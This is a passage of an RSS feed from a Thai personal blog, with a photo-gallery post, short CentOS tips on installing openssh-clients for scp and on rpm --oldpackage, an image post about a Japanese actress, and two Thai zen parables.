<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-15-50_603/' title='2011-09-09_21-15-50_603'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-15-50_603-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-15-50_603" title="2011-09-09_21-15-50_603" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-16-04_871/' title='2011-09-09_21-16-04_871'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-16-04_871-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-16-04_871" title="2011-09-09_21-16-04_871" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-16-29_804/' title='2011-09-09_21-16-29_804'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-16-29_804-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-16-29_804" title="2011-09-09_21-16-29_804" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-16-39_240/' title='2011-09-09_21-16-39_240'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-16-39_240-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-16-39_240" title="2011-09-09_21-16-39_240" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-17-03_115/' title='2011-09-09_21-17-03_115'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-17-03_115-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-17-03_115" title="2011-09-09_21-17-03_115" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-18-28_327/' title='2011-09-09_21-18-28_327'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-18-28_327-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-18-28_327" title="2011-09-09_21-18-28_327" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-18-48_277/' title='2011-09-09_21-18-48_277'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-18-48_277-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-18-48_277" title="2011-09-09_21-18-48_277" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-26-23_491/' title='2011-09-09_21-26-23_491'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-26-23_491-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-26-23_491" title="2011-09-09_21-26-23_491" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-26-55_317/' title='2011-09-09_21-26-55_317'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-26-55_317-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-26-55_317" title="2011-09-09_21-26-55_317" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-27-06_285/' title='2011-09-09_21-27-06_285'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-27-06_285-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-27-06_285" title="2011-09-09_21-27-06_285" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-28-35_294/' title='2011-09-09_21-28-35_294'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-28-35_294-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-28-35_294" title="2011-09-09_21-28-35_294" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-29-06_936/' title='2011-09-09_21-29-06_936'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-29-06_936-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-29-06_936" title="2011-09-09_21-29-06_936" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-29-16_509/' title='2011-09-09_21-29-16_509'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-29-16_509-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-29-16_509" title="2011-09-09_21-29-16_509" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-29-27_600/' title='2011-09-09_21-29-27_600'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-29-27_600-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-29-27_600" title="2011-09-09_21-29-27_600" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-30-13_329/' title='2011-09-09_21-30-13_329'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-30-13_329-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-30-13_329" title="2011-09-09_21-30-13_329" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-30-42_205/' title='2011-09-09_21-30-42_205'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-30-42_205-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-30-42_205" title="2011-09-09_21-30-42_205" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-31-07_616/' title='2011-09-09_21-31-07_616'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-31-07_616-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-31-07_616" title="2011-09-09_21-31-07_616" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-31-20_848/' title='2011-09-09_21-31-20_848'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-31-20_848-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-31-20_848" title="2011-09-09_21-31-20_848" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-31-32_254/' title='2011-09-09_21-31-32_254'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-31-32_254-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-31-32_254" title="2011-09-09_21-31-32_254" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-31-42_779/' title='2011-09-09_21-31-42_779'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-31-42_779-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-31-42_779" title="2011-09-09_21-31-42_779" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-31-55_998/' title='2011-09-09_21-31-55_998'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-31-55_998-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-31-55_998" title="2011-09-09_21-31-55_998" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-32-11_970/' title='2011-09-09_21-32-11_970'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-32-11_970-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-32-11_970" title="2011-09-09_21-32-11_970" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-32-26_419/' title='2011-09-09_21-32-26_419'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-32-26_419-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-32-26_419" title="2011-09-09_21-32-26_419" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-32-50_112/' title='2011-09-09_21-32-50_112'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-32-50_112-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-32-50_112" title="2011-09-09_21-32-50_112" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-33-07_499/' title='2011-09-09_21-33-07_499'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-33-07_499-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-33-07_499" title="2011-09-09_21-33-07_499" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-34-02_708/' title='2011-09-09_21-34-02_708'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-34-02_708-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-34-02_708" title="2011-09-09_21-34-02_708" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-34-15_139/' title='2011-09-09_21-34-15_139'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-34-15_139-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-34-15_139" title="2011-09-09_21-34-15_139" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-34-29_382/' title='2011-09-09_21-34-29_382'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-34-29_382-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-34-29_382" title="2011-09-09_21-34-29_382" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-35-31_641/' title='2011-09-09_21-35-31_641'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-35-31_641-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-35-31_641" title="2011-09-09_21-35-31_641" /></a>
<a href='http://sourcode.net/bsquare-mengjai-rama9/2011-09-09_21-49-41_546/' title='2011-09-09_21-49-41_546'><img width="150" height="150" src="http://sourcode.net/wp-content/uploads/2011/09/2011-09-09_21-49-41_546-150x150.jpg" class="attachment-thumbnail" alt="2011-09-09_21-49-41_546" title="2011-09-09_21-49-41_546" /></a>

<p>ปล. รูปทั้งหมด ถ่ายจาก Motorlla Milestone จากฝีมือ ตากล้องโรคจิต จิตป่วง</p>
]]></content:encoded>
			<wfw:commentRss>http://sourcode.net/bsquare-mengjai-rama9/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CentOS6 and scp</title>
		<link>http://sourcode.net/centos6-and-scp/</link>
		<comments>http://sourcode.net/centos6-and-scp/#comments</comments>
		<pubDate>Wed, 31 Aug 2011 07:56:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[how-to]]></category>
		<category><![CDATA[tech]]></category>
		<category><![CDATA[centos]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://sourcode.net/?p=1226</guid>
		<description><![CDATA[หลังจากที่ลง CentOS6 แบบ minimal จะพบว่า เราใช้คำสั่ง scp ไม่ได้ &#8230;. bash: scp: command not found lost connection แก้ไขโดยการ ติดตั้ง openssh-clients yum install openssh-clients]]></description>
			<content:encoded><![CDATA[<p>หลังจากที่ลง CentOS6 แบบ minimal จะพบว่า เราใช้คำสั่ง scp ไม่ได้ &#8230;.</p>
<blockquote><p>bash: scp: command not found<br />
lost connection</p></blockquote>
<p>แก้ไขโดยการ ติดตั้ง openssh-clients</p>
<blockquote><p>yum install openssh-clients</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://sourcode.net/centos6-and-scp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>yui hatano</title>
		<link>http://sourcode.net/yui-hatano/</link>
		<comments>http://sourcode.net/yui-hatano/#comments</comments>
		<pubDate>Sat, 27 Aug 2011 10:25:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[babe]]></category>
		<category><![CDATA[av]]></category>
		<category><![CDATA[gal]]></category>

		<guid isPermaLink="false">http://sourcode.net/?p=1222</guid>
		<description><![CDATA[so cute &#8230;]]></description>
			<content:encoded><![CDATA[<p><a href="http://sourcode.net/wp-content/uploads/2011/08/yui-hatano-8h.jpg"><img src="http://sourcode.net/wp-content/uploads/2011/08/yui-hatano-8h.jpg" alt="" title="yui hatano" width="1024" height="650" class="alignnone size-full wp-image-1223" /></a></p>
<p>so cute &#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://sourcode.net/yui-hatano/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>rpm oldpackage</title>
		<link>http://sourcode.net/rpm-oldpackage/</link>
		<comments>http://sourcode.net/rpm-oldpackage/#comments</comments>
		<pubDate>Sun, 14 Aug 2011 09:39:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[how-to]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[centos]]></category>
		<category><![CDATA[redhat]]></category>
		<category><![CDATA[rpm]]></category>

		<guid isPermaLink="false">http://sourcode.net/?p=1216</guid>
		<description><![CDATA[rpm -Uvh --oldpackage [filename] --oldpackage allows you to install older versions, -U means &#8220;upgrade&#8221;, but in this case it will just replace the other version. If you use -i instead of -U you will end up with both versions installed.]]></description>
			<content:encoded><![CDATA[<p><code>rpm -Uvh --oldpackage [filename]</code></p>
<p><code>--oldpackage</code> allows you to install older versions, <code>-U</code> means &#8220;upgrade&#8221;, but in this case it will just replace the other version. If you use <code>-i</code> instead of <code>-U</code> you will end up with both versions installed.</p>
]]></content:encoded>
			<wfw:commentRss>http://sourcode.net/rpm-oldpackage/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>zen</title>
		<link>http://sourcode.net/zen-2/</link>
		<comments>http://sourcode.net/zen-2/#comments</comments>
		<pubDate>Thu, 14 Jul 2011 21:07:33 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[life]]></category>
		<category><![CDATA[zen]]></category>

		<guid isPermaLink="false">http://sourcode.net/?p=1214</guid>
		<description><![CDATA[วาง มีพระพรรษามาก กับ พรรษาน้อย สองรูป เดินทางไปด้วยกันจนกระทั่งทั้งคู่ต้องข้ามแม่น้ำขนาดใหญ่ จำเป็นต้องเดินข้ามเพราะสะพานข้ามแม่น้ำขาดเสียหายพระทั้งสองรูปพบผู้หญิงผู้หนึ่งคนซึ่งไม่สามารถข้ามแม่น้ำไปได้เนื่องจากสะพานขาดนั้น พระพรรษามากจึงอาสาจะให้ผู้หญิงนั้นขี่หลังแล้วข้ามฟากไปพระพรรษาน้อยเห็นอย่างนั้นจึงรู้สึกขุ่นเคืองว่าทำไมพระพรรษามากจึงทำอย่างนั้น ทั้ง ๆ ที่เป็นพระไม่ควรจะสัมผัสหรือใกล้ชิดผู้หญิงขนาดนี้ แต่ก็คิดอยู่ในใจไม่ได้ถามพระพรรษามาก หลังจากที่ข้ามฟากเสร็จพระทั้งสองรูปและผู้หญิงต่างก็แยกย้ายไปตามทางของตน แต่ในใจของพระพรรษาน้อยยังคงคิดวนเวียน ตั้งคำถามในใจตลอดเวลาว่าการกระทำของพระพรรษามากนั้นไม่เป็นการสมควรกับนักบวช คิดวุ่นวายอยู่อย่างนั้นเก็บเงียบอยู่ในใจไม่ถามพระพรรษามากท่านคิดวนเวียนอยู่อย่างนั้น ทำให้ท่าแทบบ้าจนมาถึงจุดหยุดพัก พระพรรษาน้อยอดทนเก็บเรื่องในใจต่อไปอีกไม่ไหวจึงถามพระพรรษามากว่า ท่านทำไมไม่ส ารวมถึงความเป็นพระเลย ทำไมถึงได้สัมผัสผู้หญิง และผู้หญิงคนนั้นเป็นคนสวยเสียด้วย ท่านเป็นคนบอกผมเองว่าท่านเป็นพระที่บริสุทธิ์ไม่ใช่หรือ? พระพรรษามากประหลาดใจ แล้วย้อนกลับไปถามพระพรรษาน้อยว่า “ผมวางผู้หญิงสวยคนนั้นไปตั้งหลายชั่วโมงแล้ว เหตุใดท่านยังอุ้มผู้หญิงคนนั้นอยู่อีกเล่า” &#160; เหล่าศิษย์ถามอาจารย์เซนว่า “ท่านอาจารย์ ทำอย่างไรจึงจะประสบความสำเร็จ?” อาจารย์เซนตอบว่า “วันนี้พวกเจ้าจะได้เรียนรู้ในสิ่งที่ธรรมดาที่สุด และง่ายดายที่สุด นั่นคือให้ทุกๆ คน แกว่งมือไปข้างหน้าให้ไกลที่สุด จากนั้นแกว่งกลับไปด้านหลังให้ไกลที่สุด” กล่าวจบจึงปฏิบัติให้เหล่าศิษย์ดูเป็นตัวอย่าง 1 รอบ จากนั้นกล่าวต่อไปว่า “นับตั้งแต่วันนี้ พวกเจ้าจงทำเช่นนี้ติดต่อกันวันละ 300 ครั้ง ทุกๆ วัน ทุกคนสามารถทำได้หรือไม่?” บรรดาศิษย์เซน พากันสงสัย เอ่ยถามว่า “พวกเราต้องทำเช่นนี้ไปเพื่ออะไร?” อาจารย์เซนชี้แจงว่า “หากพวกเจ้าสามารถปฏิบัติได้สำเร็จ [...]]]></description>
			<content:encoded><![CDATA[<p><strong>วาง</strong><br />
มีพระพรรษามาก กับ พรรษาน้อย สองรูป เดินทางไปด้วยกันจนกระทั่งทั้งคู่ต้องข้ามแม่น้ำขนาดใหญ่ จำเป็นต้องเดินข้ามเพราะสะพานข้ามแม่น้ำขาดเสียหายพระทั้งสองรูปพบผู้หญิงผู้หนึ่งคนซึ่งไม่สามารถข้ามแม่น้ำไปได้เนื่องจากสะพานขาดนั้น พระพรรษามากจึงอาสาจะให้ผู้หญิงนั้นขี่หลังแล้วข้ามฟากไปพระพรรษาน้อยเห็นอย่างนั้นจึงรู้สึกขุ่นเคืองว่าทำไมพระพรรษามากจึงทำอย่างนั้น ทั้ง ๆ ที่เป็นพระไม่ควรจะสัมผัสหรือใกล้ชิดผู้หญิงขนาดนี้ แต่ก็คิดอยู่ในใจไม่ได้ถามพระพรรษามาก หลังจากที่ข้ามฟากเสร็จพระทั้งสองรูปและผู้หญิงต่างก็แยกย้ายไปตามทางของตน แต่ในใจของพระพรรษาน้อยยังคงคิดวนเวียน ตั้งคำถามในใจตลอดเวลาว่าการกระทำของพระพรรษามากนั้นไม่เป็นการสมควรกับนักบวช คิดวุ่นวายอยู่อย่างนั้นเก็บเงียบอยู่ในใจไม่ถามพระพรรษามากท่านคิดวนเวียนอยู่อย่างนั้น ทำให้ท่าแทบบ้าจนมาถึงจุดหยุดพัก พระพรรษาน้อยอดทนเก็บเรื่องในใจต่อไปอีกไม่ไหวจึงถามพระพรรษามากว่า ท่านทำไมไม่ส ารวมถึงความเป็นพระเลย ทำไมถึงได้สัมผัสผู้หญิง และผู้หญิงคนนั้นเป็นคนสวยเสียด้วย ท่านเป็นคนบอกผมเองว่าท่านเป็นพระที่บริสุทธิ์ไม่ใช่หรือ?</p>
<p>พระพรรษามากประหลาดใจ แล้วย้อนกลับไปถามพระพรรษาน้อยว่า “ผมวางผู้หญิงสวยคนนั้นไปตั้งหลายชั่วโมงแล้ว เหตุใดท่านยังอุ้มผู้หญิงคนนั้นอยู่อีกเล่า”</p>
<p>&nbsp;</p>
<p>เหล่าศิษย์ถามอาจารย์เซนว่า “ท่านอาจารย์ ทำอย่างไรจึงจะประสบความสำเร็จ?”</p>
<p>อาจารย์เซนตอบว่า “วันนี้พวกเจ้าจะได้เรียนรู้ในสิ่งที่ธรรมดาที่สุด และง่ายดายที่สุด นั่นคือให้ทุกๆ คน แกว่งมือไปข้างหน้าให้ไกลที่สุด จากนั้นแกว่งกลับไปด้านหลังให้ไกลที่สุด” กล่าวจบจึงปฏิบัติให้เหล่าศิษย์ดูเป็นตัวอย่าง 1 รอบ จากนั้นกล่าวต่อไปว่า “นับตั้งแต่วันนี้ พวกเจ้าจงทำเช่นนี้ติดต่อกันวันละ 300 ครั้ง ทุกๆ วัน ทุกคนสามารถทำได้หรือไม่?”</p>
<p>บรรดาศิษย์เซน พากันสงสัย เอ่ยถามว่า “พวกเราต้องทำเช่นนี้ไปเพื่ออะไร?”</p>
<p>อาจารย์เซนชี้แจงว่า “หากพวกเจ้าสามารถปฏิบัติได้สำเร็จ อีก 1 ปีให้หลังพวกเจ้าจะทราบถึงหนทางที่นำไปสู่ความสำเร็จ”</p>
<p>เหล่าศิษย์ล้วนคิดตรงกันว่า “เรื่องง่ายๆ เช่นนี้ ใครๆ ก็ย่อมทำได้” จากนั้นจึงเริ่มปฏิบัติ</p>
<p>เวลาผ่านไป 1 เดือน อาจารย์เซนถามเหล่าศิษย์ว่า “การแกว่งแขนที่ข้าให้พวกเจ้าปฏิบัติ มีใครยังทำต่อเนื่องอยู่บ้าง?” ศิษย์เซนส่วนใหญ่ต่างตอบด้วยความภาคภูมิใจว่า ยังปฏิอยู่ อาจารย์เซนจึงผงกศีรษะด้วยความพอใจ พลางกล่าวว่า “ดีมาก”</p>
<p>เวลาผ่านไปอีกเดือนหนึ่ง อาจารย์เซนเอ่ยถามอีกครั้งว่า “ยังมีกี่คนที่แกว่งแขนอยู่?” ปรากฏว่ามีศิษย์เซนประมาณครึ่งหนึ่งที่ยังคงปฏิบัติอยู่ ส่วนที่เหลือกว่าครึ่ง ล้วนถอดใจล้มเลิกไปแล้ว</p>
<p>เมื่อครบเวลา 1 ปีที่กำหนด อาจารย์เซนจึงได้สอบถามเหล่าศิษย์อีกครั้งว่า “กิจกรรมแกว่งแขนอันแสนง่ายดายนี้ ใครยังคงทำอยู่บ้าง?” ในครั้งนี้ มีศิษย์เพียงผู้เดียวที่ชูมือขึ้นและกล่าวด้วยความภาคภูมิใจว่า “อาจารย์ ข้ายังทำอยู่”</p>
<p>อาจารย์เซนจึงกล่าวกับศิษย์ทั้งหมดว่า “ข้าเคยบอกพวกเจ้าว่าเมื่อภารกิจนี้สิ้นสุด พวกเจ้าจะทราบถึงหนทางที่นำไปสู่ความสำเร็จ ที่ข้าอยากจะบอกพวกเจ้าก็คือ ในโลกนี้สิ่งที่ทำได้ง่ายดายที่สุดก็มักจะเป็นสิ่งที่ทำได้ยากเย็นที่สุด และสิ่งที่ยากเย็นที่สุดก็สามารถจะกระทำได้อย่างง่ายดายเช่นกัน ที่บอกว่ามันง่ายดาย เนื่องเพราะขอเพียงยอมลงมือทำ ใครๆ ก็สามารถทำได้ แต่ที่บอกว่ามันยากเย็นก็เพราะผู้ที่สามารถยืนหยัดกระทำอย่างต่อเนื่องยาวนานนั้นกลับมีไม่มาก</p>
]]></content:encoded>
			<wfw:commentRss>http://sourcode.net/zen-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

